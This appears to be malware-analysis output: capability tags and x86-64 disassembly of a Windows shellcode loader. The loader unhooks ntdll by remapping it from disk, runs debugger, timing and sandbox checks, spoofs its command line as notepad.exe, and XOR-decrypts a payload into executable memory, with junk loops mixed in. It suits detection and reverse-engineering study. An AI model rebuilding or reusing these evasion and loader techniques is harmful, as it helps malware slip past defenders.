Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x908
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x870], xmm6
mov dword [rbp + 0x8b0], ecx
mov qword [rbp + 0x8b8], rdx
call fcn.140002b00
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7f0], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7e8], rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7e0], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x868], rax
cmp qword [rbp + 0x868], 0
jne 0x140001534
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x868], rax
cmp qword [rbp + 0x868], 0
je 0x140001a92
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x630]
mov rax, qword [rbp + 0x7e0]
mov r10, qword [rbp + 0x868]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0x630]
mov qword [rbp + 0x7d8], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x7d0], rax
mov ecx, 0x2c4
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7c8], rax
mov dword [rbp + 0x860], 0
mov dword [rbp + 0x85c], 0
mov dword [rbp + 0x864], 0
jmp 0x140001641
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x864]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x7c8]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x23
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x864], 1
cmp dword [rbp + 0x864], 0xb0
jle 0x1400015f5
mov dword [rbp + 0x864], 0
jmp 0x140001682
mov eax, dword [rbp + 0x864]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7c8]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x860], eax
add dword [rbp + 0x864], 1
cmp dword [rbp + 0x864], 0xb0
jle 0x140001659
mov dword [rbp + 0x864], 0
jmp 0x14000170a
pxor xmm6, xmm6
cvtsi2sd xmm6, dword [rbp + 0x85c]
mov eax, dword [rbp + 0x864]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7c8]
add rax, rdx
mov eax, dword [rax]
pxor xmm0, xmm0
cvtsi2ss xmm0, eax
subss xmm0, dword [rbp + 0x788]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm0
movq rax, xmm3
movsd xmm0, qword [0x140006660]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140003f30
addsd xmm0, xmm6
cvttsd2si eax, xmm0
mov dword [rbp + 0x85c], eax
add dword [rbp + 0x864], 1
cmp dword [rbp + 0x864], 0xb0
jle 0x14000169a
pxor xmm0, xmm0
cvtsi2ss xmm0, dword [rbp + 0x85c]
movss xmm1, dword [0x140006668]
divss xmm0, xmm1
movss dword [rbp + 0x7c4], xmm0
pxor xmm4, xmm4
cvtss2sd xmm4, dword [rbp + 0x7c4]
movq rax, xmm4
movq xmm0, rax
call fcn.140003b10
cvtsd2ss xmm0, xmm0
movss dword [rbp + 0x7c0], xmm0
mov rax, qword [rbp + 0x7c8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x7d0]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x7b8], rax
mov rax, qword [rbp + 0x7b8]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x7b0], rax
mov rax, qword [rbp + 0x7d8]
mov qword [rbp + 0x7a8], rax
mov dword [rbp + 0x858], 0
mov dword [rbp + 0x854], 1
mov dword [rbp + 0x850], 0
mov dword [rbp + 0x7a4], 0x2af
jmp 0x140001847
mov edx, dword [rbp + 0x858]
mov eax, dword [rbp + 0x854]
add eax, edx
mov dword [rbp + 0x78c], eax
add dword [rbp + 0x850], 1
mov eax, dword [rbp + 0x854]
mov dword [rbp + 0x858], eax
mov eax, dword [rbp + 0x78c]
mov dword [rbp + 0x854], eax
mov eax, dword [rbp + 0x850]
cmp eax, dword [rbp + 0x7a4]
jl 0x140001814
mov rax, qword [rbp + 0x7a8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x7d8]
add rax, rdx
mov qword [rbp + 0x798], rax
mov word [rbp + 0x84e], 0
jmp 0x140001a7a
mov rax, qword [rbp + 0x798]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x798]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x84e]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x790], rax
mov rax, qword [rbp + 0x790]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001a69
mov dword [rbp + 0x5f4], 0
mov rax, qword [rbp + 0x790]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x790]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7d8]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x5f4]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x790]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x790]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x7b0]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x790]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7d8]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
pxor xmm0, xmm0
movss dword [rbp + 0x844], xmm0
mov dword [rbp + 0x848], 0
jmp 0x1400019f8
pxor xmm1, xmm1
cvtsi2sd xmm1, dword [rbp + 0x848]
movsd xmm0, qword [0x140006670]
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movups xmm1, xmm0
mov eax, dword [0x140006678]
movd xmm0, eax
call fcn.140003af0
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
pxor xmm0, xmm0
cvtsi2sd xmm0, dword [rbp + 0x848]
addsd xmm0, xmm0
movsd xmm2, qword [0x140006670]
subsd xmm0, xmm2
divsd xmm1, xmm0
pxor xmm0, xmm0
cvtss2sd xmm0, dword [rbp + 0x844]
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movss dword [rbp + 0x844], xmm0
add dword [rbp + 0x848], 1
cmp dword [rbp + 0x848], 0xc3
jle 0x14000197f
movss xmm1, dword [rbp + 0x844]
movss xmm0, dword [0x14000667c]
mulss xmm0, xmm1
movss dword [rbp + 0x844], xmm0
mov edx, dword [rbp + 0x5f4]
mov rax, qword [rbp + 0x790]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x790]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7d8]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x5f4]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x84e]
add eax, 1
mov word [rbp + 0x84e], ax
mov rax, qword [rbp + 0x798]
movzx eax, word [rax + 6]
cmp word [rbp + 0x84e], ax
jb 0x140001881
mov dword [rbp + 0x5fc], 0
mov dword [rbp + 0x840], 0xffffffff
add dword [rbp + 0x840], 1
call sub.msvcrt.dll_rand
add eax, eax
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006680]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003c50
movq rax, xmm0
mov qword [rbp + 0x780], rax
cmp dword [rbp + 0x840], 0xa1
jle 0x140001aa6
mov rax, qword [rbp + 0x7f0]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x778], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x600]
lea rax, [rbp + 0x5fc]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x778]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov ecx, 0x5258
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x770], rax
mov dword [rbp + 0x83c], 0
mov dword [rbp + 0x76c], 1
mov dword [rbp + 0x838], 0
jmp 0x140001bf2
mov dword [rbp + 0x834], 0
jmp 0x140001be2
call sub.msvcrt.dll_rand
mov edx, eax
mov eax, dword [rbp + 0x838]
movsxd rcx, eax
mov rax, rcx
shl rax, 5
sub rax, rcx
shl rax, 3
mov rcx, rax
mov rax, qword [rbp + 0x770]
lea r8, [rcx + rax]
movsxd rax, edx
imul rax, rax, 0x51eb851f
shr rax, 0x20
sar eax, 5
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
imul ecx, eax, 0x64
mov eax, edx
sub eax, ecx
mov edx, dword [rbp + 0x834]
movsxd rdx, edx
mov dword [r8 + rdx*4], eax
add dword [rbp + 0x834], 1
cmp dword [rbp + 0x834], 0x3d
jle 0x140001b83
add dword [rbp + 0x838], 1
cmp dword [rbp + 0x838], 0x54
jle 0x140001b77
mov dword [rbp + 0x838], 0
jmp 0x140001c68
mov dword [rbp + 0x834], 0
jmp 0x140001c58
mov eax, dword [rbp + 0x838]
movsxd rdx, eax
mov rax, rdx
shl rax, 5
sub rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp + 0x770]
add rdx, rax
mov eax, dword [rbp + 0x834]
cdqe
mov eax, dword [rdx + rax*4]
test eax, eax
jne 0x140001c51
add dword [rbp + 0x83c], 1
add dword [rbp + 0x834], 1
cmp dword [rbp + 0x834], 0x3d
jle 0x140001c17
add dword [rbp + 0x838], 1
cmp dword [rbp + 0x838], 0x54
jle 0x140001c0b
cmp dword [rbp + 0x83c], 0xa4b
je 0x140001c87
mov dword [rbp + 0x76c], 0
mov rax, qword [rbp + 0x770]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x608]
add rax, 0x3c
mov qword [rbp + 0x760], rax
mov ecx, 0x4f0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x758], rax
mov ecx, 0x4f0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x750], rax
mov ecx, 0x4f0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x748], rax
mov ecx, 0x4f0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x740], rax
mov dword [rbp + 0x82c], 0x13b
mov dword [rbp + 0x830], 0
jmp 0x140001e11
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x830]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x758]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x830]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x750]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x82c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x758]
add rax, rdx
mov edx, dword [rbp + 0x830]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x748]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x82c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x750]
add rax, rdx
mov edx, dword [rbp + 0x830]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x740]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x82c], 1
add dword [rbp + 0x830], 1
cmp dword [rbp + 0x830], 0x13b
jle 0x140001d05
mov rax, qword [rbp + 0x758]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x750]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x748]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x740]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x760]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x760]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
mov dword [rbp + 0x5f8], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x738], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x5f8]
mov r8, qword [rbp + 0x738]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x5f8]
cmp eax, 1
je 0x140002a2b
mov qword [rbp + 0x730], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x728], rax
mov rax, qword [rbp + 0x728]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x21d9a80
mov ecx, 0
call rax
mov qword [rbp + 0x730], rax
cmp qword [rbp + 0x730], 0
je 0x140002a2b
mov rax, qword [rbp + 0x730]
mov edx, 0x21d9a80
mov rcx, rax
call fcn.140004b80
mov rax, qword [rbp + 0x730]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x720], rax
cmp qword [rbp + 0x720], 0
je 0x140001fe4
mov rax, qword [rbp + 0x720]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x718], rax
mov rax, qword [rbp + 0x718]
mov ecx, 0
call rax
mov dword [rbp + 0x828], eax
cmp dword [rbp + 0x828], 0xffffffff
je 0x140002a2b
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x710], rax
mov rax, qword [rbp + 0x710]
mov ecx, 0
call rax
mov dword [rbp + 0x70c], eax
cmp dword [rbp + 0x70c], 0xffffffff
je 0x140002a2b
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x700], rax
cmp qword [rbp + 0x700], 0
je 0x140002a2b
mov rax, qword [rbp + 0x700]
mov edx, 0x52b
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x6fc], eax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6f0], rax
mov rax, qword [rbp + 0x6f0]
mov ecx, 0
call rax
mov dword [rbp + 0x6ec], eax
cmp dword [rbp + 0x6ec], 0xffffffff
je 0x140002a2b
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.OpenProcess
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6e0], rax
mov rax, qword [rbp + 0x6e0]
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
call rax
mov qword [rbp + 0x6d8], rax
cmp qword [rbp + 0x6d8], 0
jne 0x140002a2b
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6d0], rax
mov rax, qword [rbp + 0x6d0]
call rax
mov dword [rbp + 0x6cc], eax
mov ecx, 0x372
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x6d0]
call rax
mov dword [rbp + 0x6c8], eax
mov eax, dword [rbp + 0x6c8]
sub eax, dword [rbp + 0x6cc]
cmp eax, 0x340
jbe 0x140002a2b
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6c0], rax
mov rax, qword [rbp + 0x6c0]
mov ecx, 0
call rax
mov dword [rbp + 0x6bc], eax
cmp dword [rbp + 0x6bc], 0xffffffff
je 0x140002a2b
mov qword [rbp + 0x820], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x6b0], rax
cmp qword [rbp + 0x6b0], 0
je 0x140002294
mov rax, qword [rbp + 0x6b0]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6a8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x6a8]
mov r9d, 0x3000
mov r8d, 0x37f
mov edx, 0
call rax
mov qword [rbp + 0x820], rax
cmp qword [rbp + 0x820], 0
je 0x140002a2b
lea rax, [rbp + 0xe0]
lea rdx, [0x140006150]
mov ecx, 0xa1
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
mov ecx, dword [rdx]
mov dword [rax], ecx
lea rax, [rax + 4]
lea rdx, [rdx + 4]
movzx ecx, word [rdx]
mov word [rax], cx
lea rax, [rax + 2]
lea rdx, [rdx + 2]
movzx ecx, byte [rdx]
mov byte [rax], cl
mov rax, qword [rbp + 0x7e8]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6a0], rax
mov rax, qword [rbp + 0x7e8]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x698], rax
mov rax, qword [rbp + 0x6a0]
mov r8d, 0
mov edx, 0x50e
mov ecx, 0x40000
call rax
mov qword [rbp + 0x690], rax
mov rax, qword [rbp + 0x690]
mov r9, qword [rbp + 0x698]
mov r8d, 0x50e
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x688], rax
mov rax, qword [rbp + 0x7f0]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x680], rax
lea rdx, [rbp + 0xe0]
mov rax, qword [rbp + 0x688]
mov r9, qword [rbp + 0x680]
mov r8d, 0x50e
mov rcx, rax
call r9
mov dword [rbp + 0x81c], 0
mov dword [rbp + 0x818], 0xffffffff
mov ecx, 0xa40
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x678], rax
add dword [rbp + 0x818], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006680]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x818]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x678]
add rax, rdx
movsd xmm1, qword [0x140006670]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x818]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x678]
add rax, rdx
movsd xmm0, qword [rax]
mov eax, dword [rbp + 0x818]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x678]
add rax, rdx
movq xmm1, qword [0x140006690]
andpd xmm0, xmm1
movsd qword [rax], xmm0
cmp dword [rbp + 0x818], 0x146
jle 0x1400023d2
mov dword [rbp + 0x814], 0
mov dword [rbp + 0x810], 0
movabs rax, 0xb253571da105b424
movabs rdx, 0x1d16f4db2fb6e885
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x78], rdx
movabs rax, 0x99dc85c1bfcae07f
movabs rdx, 0x71025bab60b67fc
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rdx
movabs rax, 0x582de4df0a813cec
movabs rdx, 0x6fceb2d214d294e6
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], rdx
movabs rax, 0xdf4d0f91b59192cd
movabs rdx, 0x982c5eef10cd13ed
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], rdx
movabs rax, 0xa8c10d1288a2fa1
movabs rdx, 0x185edeef1a6ae9fe
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0xb8], rdx
movabs rax, 0x67daac66e07e951b
movabs rdx, 0xa7261f97e1961eec
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xc8], rdx
movabs rax, 0x97af317c65f413
mov qword [rbp + 0xd0], rax
movabs rax, 0x63f373f8082b44a0
movabs rdx, 0xe58ae622ffcf9cc0
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
movabs rax, 0x30883cb9b1c2f27a
movabs rdx, 0x739bb456dc0775fb
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
movabs rax, 0xd89551d279e55026
movabs rdx, 0x8fa2df80abdfa1f4
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
movabs rax, 0x76f66d8fa2df80ab
movabs rdx, 0x97418aa18afde1
mov qword [rbp - 0x15], rax
mov qword [rbp - 0xd], rdx
jmp 0x140002648
cmp dword [rbp + 0x814], 0x39
jne 0x140002612
mov eax, dword [rbp + 0x81c]
cdqe
movzx edx, byte [rbp + rax + 0x70]
mov eax, dword [rbp + 0x814]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x81c]
cdqe
mov byte [rbp + rax], dl
mov dword [rbp + 0x814], 0
jmp 0x140002641
mov eax, dword [rbp + 0x81c]
cdqe
movzx edx, byte [rbp + rax + 0x70]
mov eax, dword [rbp + 0x814]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x81c]
cdqe
mov byte [rbp + rax], dl
add dword [rbp + 0x814], 1
add dword [rbp + 0x81c], 1
mov eax, dword [rbp + 0x81c]
cmp eax, 0x66
jbe 0x1400025d5
mov ecx, 0x16d0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x670], rax
mov dword [rbp + 0x80c], 0
jmp 0x1400026ae
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x80c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x670]
add rax, rdx
movsd xmm1, qword [0x140006680]
divsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x80c], 1
cmp dword [rbp + 0x80c], 0x2d9
jle 0x140002670
mov dword [rbp + 0x80c], 0
jmp 0x14000274b
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
pxor xmm0, xmm0
cvtsi2sd xmm0, edx
mov eax, dword [rbp + 0x80c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x670]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x80c]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x670]
lea rbx, [rcx + rdx]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140003e60
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x80c], 1
cmp dword [rbp + 0x80c], 0x2d9
jle 0x1400026c9
mov dword [rbp + 0x81c], 0
jmp 0x14000293e
cmp dword [rbp + 0x810], 0x66
jne 0x1400027bd
mov eax, dword [rbp + 0x81c]
movsxd rdx, eax
mov rax, qword [rbp + 0x688]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x810]
cdqe
movzx ecx, byte [rbp + rax]
mov eax, dword [rbp + 0x81c]
movsxd rdx, eax
mov rax, qword [rbp + 0x688]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
mov dword [rbp + 0x810], 0
jmp 0x140002802
mov eax, dword [rbp + 0x81c]
movsxd rdx, eax
mov rax, qword [rbp + 0x688]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x810]
cdqe
movzx ecx, byte [rbp + rax]
mov eax, dword [rbp + 0x81c]
movsxd rdx, eax
mov rax, qword [rbp + 0x688]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
add dword [rbp + 0x810], 1
mov dword [rbp + 0x800], 0
mov ecx, 0x1988
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x648], rax
mov dword [rbp + 0x808], 0
jmp 0x1400028a3
mov dword [rbp + 0x804], 0
jmp 0x140002893
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffff969228e1
shr rdx, 0x20
add edx, eax
sar edx, 0xc
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x1b34
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x808]
cdqe
imul rcx, rax, 0xac
mov rax, qword [rbp + 0x648]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x804]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x804], 1
cmp dword [rbp + 0x804], 0x2a
jle 0x140002835
add dword [rbp + 0x808], 1
cmp dword [rbp + 0x808], 0x25
jle 0x140002829
mov dword [rbp + 0x808], 0
jmp 0x14000291f
mov dword [rbp + 0x804], 0
jmp 0x14000290f
pxor xmm1, xmm1
cvtsi2ss xmm1, dword [rbp + 0x800]
mov eax, dword [rbp + 0x808]
cdqe
imul rdx, rax, 0xac
mov rax, qword [rbp + 0x648]
add rdx, rax
mov eax, dword [rbp + 0x804]
cdqe
movss xmm0, dword [rdx + rax*4]
addss xmm0, xmm1
cvttss2si eax, xmm0
mov dword [rbp + 0x800], eax
add dword [rbp + 0x804], 1
cmp dword [rbp + 0x804], 0x2a
jle 0x1400028c8
add dword [rbp + 0x808], 1
cmp dword [rbp + 0x808], 0x25
jle 0x1400028bc
mov rax, qword [rbp + 0x648]
mov rcx, rax
call sub.msvcrt.dll_free
add dword [rbp + 0x81c], 1
cmp dword [rbp + 0x81c], 0x50d
jle 0x14000276a
mov rax, qword [rbp + 0x688]
